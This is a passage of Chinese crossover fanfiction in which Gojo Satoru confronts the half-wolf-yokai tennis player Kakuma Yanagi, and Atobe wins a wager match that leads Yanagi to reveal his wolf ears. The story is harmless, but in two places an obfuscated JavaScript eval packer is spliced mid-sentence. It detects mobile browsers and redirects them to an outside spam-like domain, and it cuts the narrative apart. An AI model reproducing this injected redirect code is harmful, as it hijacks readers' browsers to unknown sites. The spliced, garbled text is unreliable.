加九间柳看到迹部,下意识地吐槽了一句,试图划清界限:“我是立海大的。” 迹部景吾被他这撇清关系的话噎了一下,没好气地回道:“哈?本大爷这可是在帮你啊!” 五条悟看了看突然插进来的迹部景吾,撇了撇嘴。他认识这张经常出现在财经杂志上的脸,迹部集团的少爷,一个爱打网球没有咒力的“普通人”。他有些不悦被打断,但更多的是对加九间柳身份的好奇。 “喂喂,小子,你们关系很好吗?”五条悟松开加九间柳的肩膀,但视线仍牢牢锁着他,话却是对迹部说的,“难道你知道他是什么‘东西’吗?”他刻意重读了“东西”两个字,语气轻佻。 迹部景吾皱眉,对五条悟这种称呼方式极为反感:“真是一点也不华丽的称呼。”他打量了一下五条悟,虽然对方气质特殊,但那股目中无人的劲儿让迹部很不爽。 五条悟像是听到了什么好笑的话,夸张地指了指自己:“哈?还有人能比老子更华丽吗?”他可是五条家的神子,最强咒术师。 迹部景吾昂起下巴,自信满满:“那当然是本大爷了!” 被夹在中间的加九间柳看着这两个仿佛孔雀开屏般比较谁更“华丽”的家伙,内心毫无波澜,甚至觉得有点吵:“……小学生吗。” 不过,五条悟的注意力总算从对加九间柳动手上转移开了。他虽然放开了加九间柳,但探究的兴趣丝毫未减。他看到了加九间柳拿出的邀请函,上面的名字和单位让他觉得有点眼熟。 “待宵福利院……院长……”五条悟摸着下巴,墨镜后的眼睛眨了眨,忽然想起来了。大概是一年多前,他做任务路过一个看起来有点旧但很大的福利院,感觉到一股非人的强大气息,以为是特级咒灵,兴冲冲地就想进去“祓除”。结果看到一个穿着和服气质温婉的女人(姑获鸟)正在院子里陪孩子们玩。他当时差点就出手了,却被对方轻易察觉并避开,受到惊吓的孩子们立刻围了上来,喊着“姑姑”,依赖地抱着她。五条悟只好暂时收手,姑获鸟安抚好孩子们,和他到僻静处谈了几句。 那时他才知道,世界上除了咒灵,还有被称为“妖怪”的存在,而对方是一个喜欢庇护孩童的妖怪。虽然觉得很有意思,但毕竟不是咒灵,六眼的反馈对方并没有害人,五条悟也就没再多管。 五条悟猛地一拍手,手指几乎要戳到加九间柳的鼻子,声音带着发现新大陆的兴奋:“老子明白了!你和那只长翅膀的鸟阿姨一样!是个妖怪!对吧对吧?!” 迹部景吾在一旁听得一愣:“啊嗯?妖怪?”他看向加九间柳,眼神里充满了困惑和难以置信。这家伙打球厉害得不像人,难道真的……不是人? 加九间柳额角仿佛有实质化的井字青筋在跳动。他被五条悟的大嗓门和迹部景吾那看珍稀动物般的目光弄得烦躁不已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电话响了很久才被接起,对面传来一个明显困意和无奈的声音:“……悟?这么晚了,有什么事吗?” 五条悟对着电话大声抱怨:“杰!我跟你说!我遇到了一个超——有趣的家伙!看起来像个人类,但一半根本不是!脾气超臭,老子让他等我他居然敢跑掉!太不礼貌了!” 电话那头的夏油杰沉默了几秒,似乎在消化这段信息量巨大的话,然后带着浓浓的睡意和困惑叹了口气:“……哈?妖怪?悟,你又在说什么梦话……等等,你现在在哪里?又去招惹什么奇怪的东西了?” “才不是奇怪的东西!是没见过的品种啊!超有意思!”五条悟还在嚷嚷,“而且他好像是什么立海大的!下次我们去神奈川玩吧!” 夏油杰:“……我现在只想睡觉。还有,别随便给普通人添麻烦。” “他才不是普通人!算了,跟你说了也不懂,睡你的觉吧!”五条悟不满地挂了电话,又看了一眼加九间柳离开的方向,苍蓝色的眼睛里闪烁着势在必得的光芒。 “……哼,跑得了和尚跑不了庙。立海大是吧?老子记住了。” 另一边,轿车里,迹部景吾终于忍不住,试探性地开口:“喂,加九间,刚才那个白头发说的妖怪是怎么回事?” 加九间柳闭上眼,懒得解释,只回给他一个冰冷的后脑勺。 “没什么。” 迹部景吾:“……”这种敷衍的态度反而更让人在意了啊! 20. 赌约 五条悟最终没能出现在立海大。正如夏油杰所“期盼”的,一个紧急的一级咒灵祓除任务直接派发到了他们手上,地点远在北海道。即使是最强,也得优先处理那些真正威胁普通人的“脏东西”。五条悟一边抱怨着“烂橘子们就会挑时候”,一边还是被夏油杰拉着踏上了前往北海道的航班。 然而,五条悟带来的涟漪并未平息。至少,在迹部景吾心里,那颗名为“好奇”与“求证”的种子已经种下,并且迅速生根发芽。 几天后,立海大网球部再次收到了冰帝学园的练习赛申请,指名希望与立海大进行一场全面练习赛,尤其强调了“希望加九间柳能出战”。 比赛日,迹部景吾站在网前,目光灼灼地盯着对面的加九间柳。“加九间,如果本大爷赢了,你要把那天晚上的事情,还有那个白毛说的……到底是怎么回事,原原本本地告诉本大爷。” 加九间柳感觉额角上的青筋又开始突突地跳。他就知道会这样。迹部这个大少爷,好奇心重,好胜心强,而且显然不打算让那晚的事轻易翻篇。 “……随你便。”加九间柳的声音冷硬,带着明显的不悦。他不想打这种赌,但更不想显得自己心虚或者害怕。更何况,他并不认为自己会输。 比赛一开始,加九间柳就毫无保留地展现了压倒性的实力。他的击球不再是平时练习或比赛中那种带着些许收敛的控制,而是充满了凌厉的进攻性。 “砰!” “砰!” “砰!” 网球如同沉重的炮弹,一次又一次精准地轰击在迹部景吾半场的边角,角度刁钻,力量惊人。球速快得让场外围观的正选们都屏住了呼吸。 “15-0!” “30-0!” “Game,加九间, 1-0!” 迹部景吾几乎没能做出任何有效反应,第一局就□□脆利落地破发。他握紧球拍,手臂被刚才那几球震得微微发麻。果然,这才是加九间柳真正的实力吗? “怎么了,迹部?这就跟不上吗?”加九间柳站在底线,语气平淡,却带着一股无形的压力。他需要快速解决比赛,让迹部闭嘴。 迹部景吾深吸一口气,紫灰色的眼眸中燃起更盛的火焰。“哼……少得意了!本大爷会让你后悔激怒我的!” 第二局,迹部景吾的发球局。他打出了招牌的“唐怀瑟发球”,球贴网疾飞,落地后几乎不弹起。 然而,加九间柳的反应快得匪夷所思。他如同鬼魅般瞬间上网,球拍以一个极低的角度精准一挑,竟将那颗几乎贴地的球硬生生挑了起来,回击的球带着强烈的上旋,划出一道高高的弧线,精准地落在底线深处。 “什么?!”迹部一惊,急忙后退救球,回球质量不高。 加九间柳早已等在网前,一记冷静而快速的截击! “40-0!” 绝对的力量,绝对的速度,加上精准无比的控制力。加九间柳毫不留情地碾压着局面。 “Game,加九间, 2-0!” “Game,加九间, 3-0!” 比分迅速被拉开。冰帝的队员们看得脸色发白,日吉若喃喃道:“以下克上……根本看不到希望……” 忍足侑士推了推眼镜:“迹部他……完全被压制了。” 但迹部景吾没有放弃。在巨大的压力下,他的集中力提升到了极致。那双洞察秋毫的眼睛——“冰之世界”——以前所未有的速度运转着。他开始全身心投入到比赛本身,努力捕捉着加九间柳每一块肌肉的细微颤动,球拍角度的毫厘变化,甚至脚步移动的微小习惯。 压力,化为了进化的催化剂。 第四局,加九间柳的发球局。一记重炮发球袭来。 迹部景吾眼中精光一闪,似乎预判到了什么,脚步提前移动! “看到了!” 他奋力挥拍,这一次,球没有被轻易震开,而是被他成功地回击过网,虽然角度不算刁钻,但确确实实接住了! 加九间柳微微挑眉,上前补了一拍。 迹部已然跑位到位,再次回击! “哦哦!迹部部长接住了!”冰帝这边爆发出欢呼。 虽然这一局最终还是被加九间柳拿下,但迹部景吾已经能逐渐跟上他的节奏,甚至偶尔能打出有效的反击。 “Game,加九间, 4-0!” 比赛的转折点出现在第五局,迹部景吾的发球局。他已经完全适应了加九间柳的球速和力量,他的回球不再仅仅是抵挡,开始带上他特有的技巧和洞察。 “砰!” “砰!” 双方开始了多拍对攻。迹部景吾的目光死死锁定加九间柳。 “就是这里!”他看准一个细微的因加九间柳急于进攻而露出的空当,打出了一记精妙的直线穿越球。 加九间柳急速横向移动,他的移动速度依然快得惊人,勉强将球救回,但回球的质量不高,形成了一个中场浅球。 机会! 迹部景吾毫不犹豫地上前,一记干净利落的正面抽击,网球精准地砸在底线上! “15-0!” “哗——!”场外一片哗然。一直被压制着的迹部景吾总算从加九间柳手下拿下一分。 加九间柳眼神彻底沉了下来。他小看迹部了。这个人类的适应能力和在压力下的进化速度,超乎他的预料。那股好胜心,甚至能暂时压倒对未知的恐惧。 接下来的比赛,局势开始微妙地变化。加九间柳依然占据优势,但迹部景吾已经不再是毫无还手之力。他的“冰之世界”开始能更频繁地捕捉到加九间柳因情绪波动而产生的微小防守间隙,他的持久力也在高压对攻中不断提升。 “Game,迹部, 4-1!” “Game,加九间, 5-1!” “Game,迹部, 5-2!” “Game,加九间, 5-3!” “Game,迹部, 5-4!” “Game,加九间, 6-5!” “Game,迹部, 6-6!” 抢七局! 所有人都屏息凝神。谁也没想到,一场练习赛会打到如此白热化的程度。 抢七局中,每一分都争夺得异常激烈。迹部景吾的防守和反击越发精准。他的集中力达到了巅峰,眼中只有网球和对手。两人在底线上来回奔跑,击球声如同急促的鼓点。 迹部景吾看准一个机会,再次将球打向加九间柳的反手位深处,那是一个极其细微的、因加九间柳重心略微靠前而露出的空当。 加九间柳急速横向移动,他的速度依然匪夷所思,勉强将球拉回,但回球的质量不高,形成了一个中场浅球。 机会! 迹部景吾毫不犹豫地上前,打出了一记精准的放短球。 加九间柳全力冲向网前,终究还是差了一步,球轻轻第二次落地。 “7-6!Game, set and match, won by 迹部景吾!” 比赛结束的哨声响起。全场一片寂静,随即爆发出巨大的惊呼声和冰帝队员狂喜的欢呼。 “赢、赢了?!迹部部长赢了那个怪物一样的加九间?!” “太厉害了!迹部!” 立海大这边则是难以置信的沉默。切原赤也张大了嘴:“骗、骗人的吧……柳输了?” 真田弦一郎压低了帽檐,脸色严肃得可怕。 幸村精市轻轻叹了口气,眼神复杂地看着场内。他看得出,加九间柳后期的心浮气躁和迹部被激发出的超越极限的潜力,共同导致了这场意外的败北。 加九间柳站在原地,微微喘息着,看着对面虽然疲惫却昂首挺胸,眼神灼灼的迹部景吾。他输了。他竟然输了。输给了一个执着于探寻他秘密的普通人类。一股难以言喻的烦躁和一丝荒谬感涌上心头。 他在原地站了好一会儿,才转身,几步走到幸村精市面前,垂着头,看起来有点蔫耷,声音也低了下去:“对不起,比赛输了。”这道歉是真的,他确实不想输,尤其是输掉这样一个赌约。 然后头上就遭到了真田弦一郎毫不留情的铁拳制裁。“太松懈了!比赛时心浮气躁!回去训练翻三倍!” “是……”加九间柳捂着脑袋,闷闷地应了一声。出乎意料地,真田这一拳带来的疼痛反而让他混乱烦躁的心情奇异地平静了不少,仿佛某种紧绷的东西被打破了。人类的规则,人类的胜负,人类的训斥……这一切提醒着他此刻所处的“日常”。 其他人的比赛还在继续。加九间柳看了一眼迹部景吾,对方正用眼神示意他别忘了赌约。加九间柳啧了一声,率先朝球场外走去。迹部景吾对榊顾问和队员们简单交代了几句,跟了上去。 两人沉默地走在立海大校园里。加九间柳心情依旧极度不爽,路过一台自动贩卖机时,他猛地停下脚步,指着里面最贵的一款进口玻璃瓶装汽水,语气硬邦邦的,像是在发泄怨气:“我要喝这个。” 迹部景吾愣了一下:“啊嗯?”他没想到加九间柳会突然来这么一出,这近乎幼稚的迁怒行为让他有点想笑,但看着对方那副阴沉又憋屈的样子,他难得地没有计较这份失礼,痛快地拿出钱包买了单。“哐当”一声,饮料滚落出来。 加九间柳拿出冰凉的汽水,瓶身的冷意稍稍缓解了他心头的火气。他拧开瓶盖,喝了一大口,刺激的气泡在嘴里炸开。 加九间柳:…… 加九间柳:好难喝。 两人走到一处没什么人的安静角落,靠近学校的老图书馆,平时很少有人来。午后的阳光透过高大的树木洒下斑驳的光点。 加九间柳烦躁地抓了抓自己的头发,原本服帖的发型变得有些凌乱。他靠在墙上,只喝了一口的汽水在手中晃荡,似乎在思考着从哪里开始,这该死的解释。 迹部景吾也没有催促,只是安静地等着,看着他。他知道,自己逼问的方式或许不够“华丽”,但他确实需要知道,自己意外接触到的,到底是什么。 “……首先,”加九间柳终于开口,声音有些干涩,眼神瞥向一边,不太愿意直视迹部,“我算不上完全的‘妖怪’。” 迹部景吾挑眉,等着他的下文。 “硬要说的话……”加九间柳顿了顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360821|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,似乎在选择合适的词语,“……算是‘混血’吧。人类和妖怪的混血。” 迹部景吾紫灰色的眼眸中闪过一丝了然。混血,这似乎能解释他那超乎常人的身体素质。 “那天晚上那个白头发,”加九间柳继续道,语气带着明显的厌烦,“他,应该是处理另外一种东西的专家。看起来眼睛很好用的样子,疯疯癫癫的大庭广众下完全不顾在场普通人而大喊大叫。”带有很强烈主观色彩的评价,“我讨厌他,因为他将我和他处理的那种恶心的生物混为一谈。” 他尽可能地将事情解释得符合现代人的认知,将五条悟的行为归咎于性格问题。 “所以,‘待宵福利院’……”迹部景吾想起了邀请函上的名字。 “院长是我的长辈。”加九间柳简略地回答,“我被院长收养过。”他不想过多透露姑获鸟的信息。 迹部景吾消化着这些信息。混血,应该是半妖吧。处理特殊生物的专家。这一切听起来依然像天方夜谭,但结合加九间柳的表现和那晚五条悟给人的感觉,又由不得他不信。 “你打网球的力量和速度……” “天生的。或许有一半原因来自另一边的血统。”加九间柳干脆地承认,“打球不会用上妖力的。”他强调道,似乎想将网球与自己的非人部分划清界限。 迹部景吾点了点头,表示理解。但他的好奇心并未完全满足。望向加九间柳的眼神始终带着探究,专注地凝视着加九间柳,仿佛想从他那张没什么表情的脸上,或者从他周身的气息中,看出那“另一半”血统的具体形态。是什么妖怪?犬科?猫科?还是更奇幻的存在? 加九间柳被他看得浑身不自在,下意识地想避开视线,但迹部那专注又带着纯粹好奇的目光,又让他莫名地产生了一种……或许可以稍微展示一下的冲动。毕竟,对方可是拼尽全力赢下比赛,并且似乎接受了这个匪夷所思事实的人。 两人就这样一言不发地对视着,空气仿佛凝固了。午后的阳光透过树叶,在两人之间投下细碎的光斑。远处网球场传来的击球声和隐约的呼喊变得模糊。 足足对视了三分钟。 最终,还是加九间柳先败下阵来。他眨了眨有些干涩的眼睛,像是认命般轻轻叹了口气,手指无奈地抵上自己的额角,似乎有些头疼。 随着他这个细微的动作,他头顶的黑发间,似乎有什么东西动了动。 然后,在迹部景吾惊讶的注视下,一对毛茸茸的整体呈现雪白色的狼耳,悄无声息地取代了人类耳朵的位置,从他柔软的发间钻了出来,甚至还下意识地轻轻抖动了一下,捕捉着周围细微的风声。 加九间柳偏过头,声音比刚才更闷了一些:“……是狼妖。” 迹部景吾愣住了。尽管有了心理准备,但亲眼看到非人的特征出现在熟悉的人身上,冲击力还是不小的。何况那对雪白的狼耳看起来手感很好的样子。 片刻的震惊过后,迹部景吾眼中闪过惊艳和赞叹。他恢复了那副华丽的姿态,由衷地评价道:“啊嗯。很华丽。”这评价出自迹部之口,已是极高的赞誉。 他的目光不由自主地,带着强烈好奇心,往加九间柳的身后瞟去,似乎在寻找着什么。 加九间柳立刻察觉到了他的视线,耳尖瞬间绷直,他猛地转过头,化作动物竖瞳的眼睛瞪向迹部,语气带着明显的羞恼和警告: “……别得寸进尺。” 那对白色的狼耳也仿佛表达主人情绪般,警惕地向后压了压,贴服在发间。 迹部景吾轻咳一声,有些尴尬地移开视线,摸了摸自己眼下的泪痣。“咳,本大爷只是合理推测。”毕竟,有狼耳的话,有尾巴也是很合理的吧? 加九间柳深吸一口气,努力平复情绪。那对雪白的狼耳随着他的呼吸微微颤动,然后逐渐变淡、消失,重新变回了人类耳朵的模样。整个过程悄无声息,仿佛刚才的一切只是错觉。 他再次拿起那瓶只喝了一口的“难喝”的汽水,又灌了一口,仿佛需要用这刺激的味道来压惊。 “……这下满意了?”他没好气地问。 迹部景吾看着他恢复原样的耳朵,心里居然有点微妙的遗憾。他点了点头,神情变得认真起来:“啊。满足了。”他知道了加九间柳的秘密,看到了他非人的一面,但这种感觉并不糟糕,反而让他觉得和这个别扭的家伙距离拉近了一些。至少,他知道对方强大的来源,也看到了对方愿意展现的一丝信任。 “该回去了。”加九间柳将剩下的难喝汽水丢进垃圾桶,“副部长说的训练翻三倍……” 迹部景吾闻言,忍不住轻笑了一下:“需要本大爷替你向真田求情吗?” “免了。只会更糟。” 两人一前一后,朝着依旧喧闹的网球场走去。 而远在北海道刚刚祓除完咒灵的五条悟,突然打了个大大的喷嚏。 “啊啾!肯定是那个小子在骂老子!”他揉着鼻子,不满地嚷嚷,“杰!任务完成了吧?我们赶紧回东京!去神奈川!” 夏油杰:“……悟,我们才刚落地北海道不到三小时。” “我不管!现在!立刻!回去!”